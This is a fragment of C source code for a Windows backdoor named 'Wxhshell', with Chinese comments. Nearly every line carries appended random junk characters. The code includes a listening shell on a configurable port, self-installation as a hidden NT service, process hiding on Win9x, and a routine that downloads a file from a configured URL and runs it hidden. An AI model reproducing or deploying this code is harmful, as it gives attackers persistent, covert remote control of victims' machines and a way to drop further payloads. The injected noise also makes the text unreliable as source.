DWORD BasePriority; m'P1BLk
ULONG UniqueProcessId; |f~@8|MQP+
ULONG InheritedFromUniqueProcessId;
.ObZ\.I
} PROCESS_BASIC_INFORMATION; MZ Aij
3 "o"fl
PROCNTQSIP NtQueryInformationProcess; B<j'm0a>B
JkW9D)6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GKN%Tv:D_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =t6z \WB
kOIt(e
HANDLE hProcess; b
Q]/?cCYV
PROCESS_BASIC_INFORMATION pbi; m[j70jYe
/pF`8$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oc8:r
if(NULL == hInst ) return 0; W6On93sa
f B9;_z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B}PIRk@a1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K|dso]b/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w)Covz'uf
PRz/inru-
if (!NtQueryInformationProcess) return 0; <.Nx[!'~&d
^ f# FI&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HD(.BW7
if(!hProcess) return 0; qK)73eNSR
qh`t-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s8}@=]aA
-|E!e.^7:
CloseHandle(hProcess); fFc/
d(
Q=]w !I\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ih7/}
if(hProcess==NULL) return 0; y- 1 pR
-;'1^
HMODULE hMod; xD6@Qk
char procName[255]; l8?>>.<P=
unsigned long cbNeeded; I
:vs;-
Zl*X?5u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xXM{pd
M%@ !cW
CloseHandle(hProcess); |o\8
a[ex[TRKe
if(strstr(procName,"services")) return 1; // 以服务启动 )a-Du$kd
WVI{oso#
return 0; // 注册表启动 vMS
|$L
} 2o'Wy
<TP=oq?I/
// 主模块 1&-
</G#
int StartWxhshell(LPSTR lpCmdLine) -YCOP0
{ v#!%GEg1r
SOCKET wsl; sJDas,7>
BOOL val=TRUE; :$n=$C-wp
int port=0; LbkF
struct sockaddr_in door; ~x|F)~:0=
/C6k+0ApMT
if(wscfg.ws_autoins) Install(); t{.8|d@
*3?'4"B{8
port=atoi(lpCmdLine); W' s
43@{JK9G
if(port<=0) port=wscfg.ws_port; h]TQn)X]
D/Mi^5H)
WSADATA data; RR]CW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fc
|GArL#}
D`$hPYK|_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -&-Ma,M?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #':fkIYe'
door.sin_family = AF_INET; ayfFVTy1d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kYjGj,m"
door.sin_port = htons(port); LL3#5AA"k|
@]ytla>d
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { egq67S
closesocket(wsl); GhIKvX_N
return 1; E6pMT^{K
} BBtzs^C|
(w}H]LQ
if(listen(wsl,2) == INVALID_SOCKET) { Qx+%"YO
closesocket(wsl); 6x%h6<#xh*
return 1; uLWh|
} w.\&9]P3~
Wxhshell(wsl); }n4V|f-
WSACleanup();
.p e( lP
BS:+~| 3w
return 0; n:{qC{D-qS
DF*:_B)
} 'LO^<
oyYR-4m\
// 以NT服务方式启动 Ndi9FD3im
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 61)-cVC
{ EV*IoE$W]=
DWORD status = 0; 7G/1VeVjB
DWORD specificError = 0xfffffff; H*$jc\
dC
Nn T1X;0W
serviceStatus.dwServiceType = SERVICE_WIN32; AMyIAZnYq)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; e,Uo#T6J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !qM=a3
serviceStatus.dwWin32ExitCode = 0; M!REygyx
serviceStatus.dwServiceSpecificExitCode = 0; F*3j.lI
serviceStatus.dwCheckPoint = 0; MP4z-4Y
serviceStatus.dwWaitHint = 0; \cUC9/
b
O8j_0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lcg)UcB-#
if (hServiceStatusHandle==0) return; r}mbXvn
2kIa*#VOJ
status = GetLastError(); 7aQc=^vaZ
if (status!=NO_ERROR) UHTvCc
{ Ljx(\Cm
serviceStatus.dwCurrentState = SERVICE_STOPPED; &8g?4v
serviceStatus.dwCheckPoint = 0; hNH'XQxO
serviceStatus.dwWaitHint = 0; !3*(N8_|#
serviceStatus.dwWin32ExitCode = status; ,^eYlmT>6
serviceStatus.dwServiceSpecificExitCode = specificError; 'gTb A?+@5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >VN5`Zlw\C
return; C'o64+W^
} .U?'i<
5yzv|mrx
serviceStatus.dwCurrentState = SERVICE_RUNNING; @AIaC-,~]
serviceStatus.dwCheckPoint = 0; RIY,K*f.
serviceStatus.dwWaitHint = 0; Q=/</|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
ng_^
} eFL=G%
^`)) C;
// 处理NT服务事件,比如:启动、停止 -8j+s}Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7 D^gMN%p
{ =p=rg$?
switch(fdwControl) xK6n0] A
{ 9Bw|(J
case SERVICE_CONTROL_STOP: Y[$!`);Ye
serviceStatus.dwWin32ExitCode = 0; -wSg2'b4E
serviceStatus.dwCurrentState = SERVICE_STOPPED; /q5v"iX]T
serviceStatus.dwCheckPoint = 0; %|oJ>+
serviceStatus.dwWaitHint = 0; 5[YDZ7g"~
{ [N#,K02mk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hR
Ue<0o:
} LS88.w\=S@
return; /eOzXCSws
case SERVICE_CONTROL_PAUSE: ;[u%_
serviceStatus.dwCurrentState = SERVICE_PAUSED; EodQ*{l
break; f'VX Y-
case SERVICE_CONTROL_CONTINUE: }7
c[Q($K
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q^e}?v%=%3
break; fH> NJK;
case SERVICE_CONTROL_INTERROGATE: )XzI
#iQ
break; #R.-KUW:
}; t`,`6@d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); elFtBnL'
} N,;5{y1;J
HFaj-~b
// 标准应用程序主函数 oze&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #[`:'e
{ 8W#heW\-]
,H19`;Q
// 获取操作系统版本 |]ZYa.+:
OsIsNt=GetOsVer(); !qN||mCH
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hr]h
Jc
[ zEUH:9D
// 从命令行安装 cQ"~\
if(strpbrk(lpCmdLine,"iI")) Install(); /O^RF }
thvYL.U:
// 下载执行文件 2h=!k|6
if(wscfg.ws_downexe) { [>1OJY.S}T
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 66I"=:
WinExec(wscfg.ws_filenam,SW_HIDE); CCWg{*og
} 4W)B'+ZK8
##V5-ZG{:
if(!OsIsNt) { E7Y`|nT
// 如果时win9x,隐藏进程并且设置为注册表启动 mA*AeP_$
HideProc(); Tp_L%F
StartWxhshell(lpCmdLine); t7?Zxq
} H+ 0$tHi
else 0 rXx RQ
if(StartFromService()) J~1r{5V4{
// 以服务方式启动 (Xq)p y9
StartServiceCtrlDispatcher(DispatchTable); .D:Z{|.1
else 43Qtj$F
// 普通方式启动 I9mvte
StartWxhshell(lpCmdLine); 75T7+:p
/`6ZAom9
return 0; Tp-l^?O-p
}